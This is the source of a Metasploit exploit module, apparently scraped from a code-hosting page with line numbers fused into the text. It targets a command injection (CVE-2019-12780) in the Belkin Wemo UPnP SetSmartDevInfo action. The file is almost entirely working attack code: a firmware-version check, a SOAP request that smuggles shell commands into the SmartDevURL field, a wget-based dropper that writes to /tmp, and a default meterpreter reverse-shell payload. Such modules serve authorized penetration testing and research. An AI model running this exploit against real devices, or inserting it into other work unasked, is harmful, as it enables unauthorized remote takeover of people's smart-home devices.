Path: blob/master/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb
24360 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Belkin Wemo UPnP Remote Code Execution',18'Description' => %q{19This module exploits a command injection in the Belkin Wemo UPnP API via20the SmartDevURL argument to the SetSmartDevInfo action.2122This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo23devices are known to be affected, albeit on a different RPORT (49153).24},25'Author' => [26'phikshun', # Discovery, UFuzz, and modules27'wvu', # Crock-Pot testing and module28'nstarke' # Version-checking research and implementation29],30'References' => [31['CVE', '2019-12780'],32['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],33['URL', 'https://github.com/phikshun/ufuzz'],34['URL', 'https://gist.github.com/phikshun/10900566'],35['URL', 'https://gist.github.com/phikshun/9984624'],36['URL', 'http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html'],37['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],38['URL', 'http://www.wemo.com/']39],40'DisclosureDate' => '2014-04-04',41'License' => MSF_LICENSE,42'Platform' => ['unix', 'linux'],43'Arch' => [ARCH_CMD, ARCH_MIPSLE],44'Privileged' => true,45'Targets' => [46[47'Unix In-Memory',48{49'Platform' => 'unix',50'Arch' => ARCH_CMD,51'Type' => :unix_memory,52'DefaultOptions' => {53'PAYLOAD' => 'cmd/unix/generic'54}55}56],57[58'Linux Dropper',59{60'Platform' => 'linux',61'Arch' => ARCH_MIPSLE,62'Type' => :linux_dropper,63'DefaultOptions' => {64'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'65}66}67]68],69'DefaultTarget' => 1,70'Notes' => {71'NOCVE' => ['Patched in 2.00.8643 without vendor disclosure'],72'Stability' => [CRASH_SAFE],73'SideEffects' => [ARTIFACTS_ON_DISK],74'Reliability' => [REPEATABLE_SESSION]75}76)77)7879register_options([80Opt::RPORT(49152)81])8283register_advanced_options([84OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])85])86end8788def check89checkcode = CheckCode::Unknown9091res = send_request_cgi(92'method' => 'GET',93'uri' => '/setup.xml'94)9596unless res && res.code == 200 && res.body.include?('urn:Belkin:device:')97vprint_error('Wemo-enabled device not detected')98return checkcode99end100101vprint_good('Wemo-enabled device detected')102checkcode = CheckCode::Detected103104version = (v = res.get_xml_document.at('firmwareVersion')&.text) &&105v =~ /WeMo_WW_(\d+(?:\.\d+)+)/ && ::Regexp.last_match(1) && Rex::Version.new(::Regexp.last_match(1))106107unless version108vprint_error('Could not determine firmware version')109return checkcode110end111112vprint_status("Found firmware version: #{version}")113114# https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/115if version < Rex::Version.new('2.00.8643')116vprint_good("Firmware version #{version} < 2.00.8643")117checkcode = CheckCode::Appears118else119vprint_error("Firmware version #{version} >= 2.00.8643")120checkcode = CheckCode::Safe121end122123checkcode124end125126def exploit127case target['Type']128when :unix_memory129execute_command(payload.encoded)130when :linux_dropper131cmdstager = generate_cmdstager(132flavor: :wget,133temp: datastore['WritableDir'],134file: File.basename(cmdstager_path),135noconcat: true136)137138# HACK: "chmod +x"139cmdstager.unshift("cp /bin/sh #{cmdstager_path}")140cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }141cmdstager = cmdstager.join(';')142143vprint_status("Regenerated command stager: #{cmdstager}")144execute_command(cmdstager)145end146end147148def execute_command(cmd, _opts = {})149send_request_cgi(150'method' => 'POST',151'uri' => '/upnp/control/basicevent1',152'ctype' => 'text/xml',153'headers' => {154'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'155},156'data' => generate_soap_xml(cmd)157)158end159160def generate_soap_xml(cmd)161<<~EOF162<?xml version="1.0" encoding="utf-8"?>163<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">164<s:Body>165<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">166<SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>167</u:SetSmartDevInfo>168</s:Body>169</s:Envelope>170EOF171end172173def cmdstager_path174@cmdstager_path ||=175"#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"176end177178end179180181